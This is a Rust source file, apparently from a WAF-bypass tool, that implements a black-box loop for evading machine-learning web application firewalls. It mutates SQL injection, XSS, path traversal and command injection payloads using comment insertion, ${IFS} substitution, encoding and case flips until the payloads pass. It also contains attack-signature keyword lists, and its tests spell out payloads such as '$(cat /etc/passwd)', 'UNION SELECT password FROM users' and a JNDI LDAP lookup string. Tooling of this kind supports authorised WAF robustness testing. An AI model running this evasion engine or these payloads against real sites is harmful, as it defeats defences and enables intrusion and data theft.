use crate::error::Result;
use wafrift_types::Request;
pub trait MlWaf {
fn blocks(&mut self, req: &Request) -> Result<bool>;
fn score(&mut self, _req: &Request) -> Result<Option<f64>> {
Ok(None)
}
}
struct Rng(u64);
impl Rng {
fn next(&mut self) -> u64 {
self.0 = self.0.wrapping_add(0x9E37_79B9_7F4A_7C15);
let mut z = self.0;
z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
z ^ (z >> 31)
}
fn below(&mut self, n: usize) -> usize {
(self.next() % n as u64) as usize
}
}
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
enum MutClass {
Sql,
Xss,
Path,
Cmd,
Template,
Generic,
}
fn mut_class(input: &[u8]) -> MutClass {
let s = String::from_utf8_lossy(input).to_ascii_lowercase();
let has = |needles: &[&str]| needles.iter().any(|n| s.contains(n));
if has(&["$(", "${ifs}", "/bin/", "`", "system(", "exec(", "popen("]) {
MutClass::Cmd
} else if has(&[
"<script",
"onerror",
"onload",
"javascript:",
"alert(",
"<svg",
"<img",
]) {
MutClass::Xss
} else if has(&[
"select", "union", " or ", " and ", "sleep(", "/**/", "'--", "'#",
]) {
MutClass::Sql
} else if has(&[
"../", "..\\", "/etc/", "%2e%2e", "..%2f", "..%5c", "c:\\", "\\\\",
]) {
MutClass::Path
} else if s.contains("${") {
MutClass::Template
} else {
MutClass::Generic
}
}
fn flip_one_ascii_letter(v: &mut [u8], rng: &mut Rng) {
if v.is_empty() {
return;
}
for _ in 0..4 {
let i = rng.below(v.len());
if v[i].is_ascii_alphabetic() {
v[i] ^= 0x20;
break;
}
}
}
fn insert_fragment(v: &mut Vec<u8>, rng: &mut Rng, frag: &[u8]) {
let i = if v.is_empty() { 0 } else { rng.below(v.len()) };
for (k, b) in frag.iter().enumerate() {
v.insert(i + k, *b);
}
}
fn replace_one_space(v: &mut Vec<u8>, rng: &mut Rng, frag: &[u8]) {
let spaces: Vec<usize> = v
.iter()
.enumerate()
.filter(|&(_, &b)| b == b' ')
.map(|(i, _)| i)
.collect();
if spaces.is_empty() {
return;
}
let pick = spaces[rng.below(spaces.len())];
v.splice(pick..=pick, frag.iter().copied());
}
fn propose(input: &[u8], rng: &mut Rng) -> Vec<u8> {
if input.is_empty() {
return input.to_vec();
}
let mut v = input.to_vec();
match mut_class(input) {
MutClass::Sql => match rng.below(3) {
0 => insert_fragment(&mut v, rng, b"/**/"),
1 => {
let frags: [&[u8]; 4] = [b"/**/", b"\t", b"\n", b"\x0c"];
let frag = frags[rng.below(frags.len())];
replace_one_space(&mut v, rng, frag);
}
_ => flip_one_ascii_letter(&mut v, rng),
},
MutClass::Xss => match rng.below(3) {
0 => flip_one_ascii_letter(&mut v, rng),
1 => insert_fragment(&mut v, rng, b" "),
_ => insert_fragment(&mut v, rng, b"<!---->"),
},
MutClass::Path => match rng.below(2) {
0 => {
if let Some(i) = v.iter().position(|&b| b == b'/' || b == b'.') {
let enc: &[u8] = if v[i] == b'/' { b"%2f" } else { b"%2e" };
v.splice(i..=i, enc.iter().copied());
} else {
flip_one_ascii_letter(&mut v, rng);
}
}
_ => flip_one_ascii_letter(&mut v, rng),
},
MutClass::Cmd => match rng.below(2) {
0 => replace_one_space(&mut v, rng, b"${IFS}"),
_ => insert_fragment(&mut v, rng, b"\"\""),
},
MutClass::Template | MutClass::Generic => match rng.below(2) {
0 => flip_one_ascii_letter(&mut v, rng),
_ => insert_fragment(&mut v, rng, b" "),
},
}
v
}
#[must_use]
pub fn propose_mutation(input: &[u8], seed: u64) -> Vec<u8> {
let mut rng = Rng(seed);
propose(input, &mut rng)
}
#[must_use]
pub fn is_attack_payload(bytes: &[u8]) -> bool {
let s = String::from_utf8_lossy(bytes).to_ascii_lowercase();
const SIGNALS: &[&str] = &[
"select",
"union",
"or 1",
"and 1",
"sleep(",
"<script",
"onerror",
"alert(",
"javascript:",
"../",
"/etc/passwd",
"eval(",
"exec(",
"system(",
"$(",
"..\\",
"c:\\",
"\\\\",
"%2e%2e",
"..%2f",
"..%5c",
"${",
"<svg",
];
SIGNALS.iter().any(|sig| s.contains(sig))
}
#[derive(Debug, Clone)]
pub struct MlEvasion {
pub input: Vec<u8>,
pub queries: u64,
pub off_manifold_rejected: u64,
}
pub fn evade_ml<W, F, B>(
start: &[u8],
waf: &mut W,
is_attack: &F,
build: &B,
budget: u64,
seed: u64,
) -> Result<Option<MlEvasion>>
where
W: MlWaf,
F: Fn(&[u8]) -> bool,
B: Fn(&[u8]) -> Request,
{
if !is_attack(start) {
return Ok(None);
}
let mut rng = Rng(seed);
let mut queries = 0u64;
let mut off = 0u64;
let start_req = build(start);
if !waf.blocks(&start_req)? {
queries += 1;
return Ok(Some(MlEvasion {
input: start.to_vec(),
queries,
off_manifold_rejected: 0,
}));
}
queries += 1;
let mut best = start.to_vec();
let mut best_score = waf.score(&start_req)?;
if let Some(s) = best_score {
queries += 1;
best_score = Some(s);
}
while queries < budget {
let cand = propose(&best, &mut rng);
if !is_attack(&cand) {
off += 1;
continue;
}
let req = build(&cand);
let blocked = waf.blocks(&req)?;
queries += 1;
if !blocked {
return Ok(Some(MlEvasion {
input: cand,
queries,
off_manifold_rejected: off,
}));
}
if let Ok(Some(sc)) = waf.score(&req) {
queries += 1;
if best_score.is_none_or(|b| sc < b) {
best = cand;
best_score = Some(sc);
}
} else if rng.below(4) == 0 {
best = cand;
}
}
Ok(None)
}
#[cfg(test)]
mod attack_manifold_tests {
use super::{is_attack_payload, propose_mutation};
#[test]
fn recognises_core_and_path_traversal_attacks() {
for atk in [
"' OR 1=1--",
"<script>alert(1)</script>",
"; cat /etc/passwd",
"C:\\Windows\\system32\\cmd.exe", "\\\\attacker\\share\\x", "..\\..\\..\\boot.ini", "%2e%2e%2f%2e%2e%2fetc/hosts", "${jndi:ldap://x/a}", "<svg onload=alert(1)>", ] {
assert!(
is_attack_payload(atk.as_bytes()),
"must be recognised as an on-manifold attack: {atk:?}"
);
}
}
#[test]
fn rejects_benign_payloads() {
for benign in ["hello world", "name=John&age=30", "the quick brown fox", ""] {
assert!(
!is_attack_payload(benign.as_bytes()),
"benign payload must be off-manifold: {benign:?}"
);
}
}
#[test]
fn propose_mutation_is_deterministic_per_seed() {
let p = b"' OR 1=1--";
assert_eq!(
propose_mutation(p, 7),
propose_mutation(p, 7),
"same seed must yield the same mutation"
);
}
#[test]
fn proposals_stay_on_manifold_per_class() {
let cases: &[&[u8]] = &[
b"1 UNION SELECT password FROM users", b"$(cat /etc/passwd)", b"../../../../etc/passwd", b"<script>alert(1)</script>", ];
for payload in cases {
let on = (0..200u64)
.filter(|&seed| is_attack_payload(&propose_mutation(payload, seed)))
.count();
assert!(
on >= 100,
"only {on}/200 proposals stayed on-manifold for {:?} — operators not class-appropriate",
String::from_utf8_lossy(payload)
);
}
}
#[test]
fn mut_class_routes_representative_payloads() {
use super::{MutClass, mut_class};
assert_eq!(mut_class(b"1 UNION SELECT 1"), MutClass::Sql);
assert_eq!(mut_class(b"<script>alert(1)</script>"), MutClass::Xss);
assert_eq!(mut_class(b"../../etc/hosts"), MutClass::Path);
assert_eq!(mut_class(b"$(id)"), MutClass::Cmd);
assert_eq!(mut_class(b"${jndi:ldap://x}"), MutClass::Template);
assert_eq!(mut_class(b"plain text"), MutClass::Generic);
}
#[test]
fn cmd_proposals_never_uppercase_a_command() {
let p = b"$(cat /etc/passwd)"; for seed in 0..200u64 {
let c = propose_mutation(p, seed);
let s = String::from_utf8_lossy(&c).replace("${IFS}", "");
assert!(
!s.chars().any(|ch| ch.is_ascii_uppercase()),
"cmd proposer introduced an uppercase letter (breaks a Linux command): {:?}",
String::from_utf8_lossy(&c)
);
}
}
}